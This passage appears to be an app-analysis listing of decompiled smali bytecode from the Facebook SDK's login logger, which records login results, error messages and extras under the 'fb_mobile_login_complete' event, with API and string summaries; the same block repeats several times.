                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
